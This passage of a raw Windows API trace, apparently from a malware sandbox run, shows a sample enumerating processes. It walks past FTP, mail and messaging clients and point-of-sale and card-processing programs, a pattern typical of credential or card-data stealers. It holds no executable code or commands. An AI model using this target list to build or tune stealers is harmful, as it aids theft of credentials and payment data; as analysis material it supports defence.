pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0072.067] lstrlenW (lpString="taskeng.exe") returned 11 [0072.067] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0072.068] lstrlenW (lpString="spoken.exe") returned 10 [0072.068] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0072.068] lstrlenW (lpString="cut baby kind.exe") returned 17 [0072.068] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0072.069] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0072.069] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0072.070] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0072.070] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0072.070] lstrlenW (lpString="things apt speaker.exe") returned 22 [0072.070] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0072.071] lstrlenW (lpString="longest.exe") returned 11 [0072.071] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0072.071] lstrlenW (lpString="liberty.exe") returned 11 [0072.071] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0072.072] lstrlenW (lpString="robust.exe") returned 10 [0072.072] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0072.072] lstrlenW (lpString="browse.exe") returned 10 [0072.072] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0072.073] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0072.073] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0072.073] lstrlenW (lpString="blocked.exe") returned 11 [0072.074] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0072.074] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0072.074] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0072.075] lstrlenW (lpString="reno.exe") returned 8 [0072.075] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0072.075] lstrlenW (lpString="vancouver.exe") returned 13 [0072.075] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0072.076] lstrlenW (lpString="africa.exe") returned 10 [0072.076] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0072.076] lstrlenW (lpString="ph-pos.exe") returned 10 [0072.076] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0072.077] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0072.077] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0072.077] lstrlenW (lpString="peaceful.exe") returned 12 [0072.077] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0072.078] lstrlenW (lpString="louise_threshold.exe") returned 20 [0072.078] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0072.078] lstrlenW (lpString="scannerhit.exe") returned 14 [0072.078] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0072.079] lstrlenW (lpString="3dftp.exe") returned 9 [0072.079] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0072.079] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0072.079] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0072.080] lstrlenW (lpString="alftp.exe") returned 9 [0072.080] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0072.081] lstrlenW (lpString="barca.exe") returned 9 [0072.081] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0072.081] lstrlenW (lpString="bitkinex.exe") returned 12 [0072.081] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0072.082] lstrlenW (lpString="coreftp.exe") returned 11 [0072.082] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0072.083] lstrlenW (lpString="far.exe") returned 7 [0072.083] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0072.083] lstrlenW (lpString="filezilla.exe") returned 13 [0072.083] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0072.084] lstrlenW (lpString="flashfxp.exe") returned 12 [0072.084] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0072.084] lstrlenW (lpString="fling.exe") returned 9 [0072.084] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0072.085] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0072.085] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0072.085] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0072.085] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0072.086] lstrlenW (lpString="icq.exe") returned 7 [0072.086] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0072.086] lstrlenW (lpString="leechftp.exe") returned 12 [0072.086] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0072.087] lstrlenW (lpString="ncftp.exe") returned 9 [0072.087] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0072.089] lstrlenW (lpString="notepad.exe") returned 11 [0072.089] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0072.089] lstrlenW (lpString="operamail.exe") returned 13 [0072.089] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0072.090] lstrlenW (lpString="pidgin.exe") returned 10 [0072.090] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0072.091] lstrlenW (lpString="scriptftp.exe") returned 13 [0072.091] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0072.092] lstrlenW (lpString="skype.exe") returned 9 [0072.092] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0072.093] lstrlenW (lpString="smartftp.exe") returned 12 [0072.093] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0072.094] lstrlenW (lpString="thunderbird.exe") returned 15 [0072.094] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0072.094] lstrlenW (lpString="totalcmd.exe") returned 12 [0072.094] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0072.095] lstrlenW (lpString="trillian.exe") returned 12 [0072.095] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0072.096] lstrlenW (lpString="webdrive.exe") returned 12 [0072.096] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0072.097] lstrlenW (lpString="whatsapp.exe") returned 12 [0072.097] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0072.098] lstrlenW (lpString="winscp.exe") returned 10 [0072.098] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0072.098] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0072.098] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0072.099] lstrlenW (lpString="active-charge.exe") returned 17 [0072.099] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0072.100] lstrlenW (lpString="accupos.exe") returned 11 [0072.100] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0072.107] lstrlenW (lpString="afr38.exe") returned 9 [0072.108] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0072.108] lstrlenW (lpString="aldelo.exe") returned 10 [0072.108] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0072.109] lstrlenW (lpString="ccv_server.exe") returned 14 [0072.109] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0072.110] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0072.110] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0072.111] lstrlenW (lpString="creditservice.exe") returned 17 [0072.111] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0072.111] lstrlenW (lpString="edcsvr.exe") returned 10 [0072.111] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0072.112] lstrlenW (lpString="fpos.exe") returned 8 [0072.112] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0072.113] lstrlenW (lpString="isspos.exe") returned 10 [0072.113] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0072.113] lstrlenW (lpString="mxslipstream.exe") returned 16 [0072.114] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0072.114] lstrlenW (lpString="omnipos.exe") returned 11 [0072.114] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0072.115] lstrlenW (lpString="spcwin.exe") returned 10 [0072.115] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0072.116] lstrlenW (lpString="spgagentservice.exe") returned 19 [0072.116] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0072.117] lstrlenW (lpString="utg2.exe") returned 8 [0072.117] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0072.117] lstrlenW (lpString="slope.exe") returned 9 [0072.117] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0072.118] lstrlenW (lpString="entered.exe") returned 11 [0072.118] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0072.119] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0072.119] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0072.120] lstrlenW (lpString="attach.exe") returned 10 [0072.120] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0072.121] lstrlenW (lpString="obligations.exe") returned 15 [0072.121] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.121] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.121] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.122] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.122] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, 